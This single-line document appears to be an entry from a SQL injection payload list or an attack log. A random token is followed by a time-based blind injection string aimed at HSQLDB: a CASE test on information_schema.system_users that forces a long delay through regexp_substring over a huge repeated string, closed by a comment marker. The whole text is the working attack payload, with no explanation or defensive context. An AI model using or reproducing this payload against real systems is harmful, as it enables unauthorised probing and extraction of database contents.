rp2ncextcs1cjhewam09cs2ncah8balo2zbpab0a3pyzmdcqpmp9izgl4zl32v7kykz5n94riuxy1  ( select  ( case when  ( 5451 = 5451 )  then regexp_substring ( repeat ( right ( char ( 5451 ) ,0 ) ,500000000 ) ,null )  else char ( 108 ) ||char ( 76 ) ||char ( 112 ) ||char ( 116 )  end )  from information_schema.system_users ) -- fzhj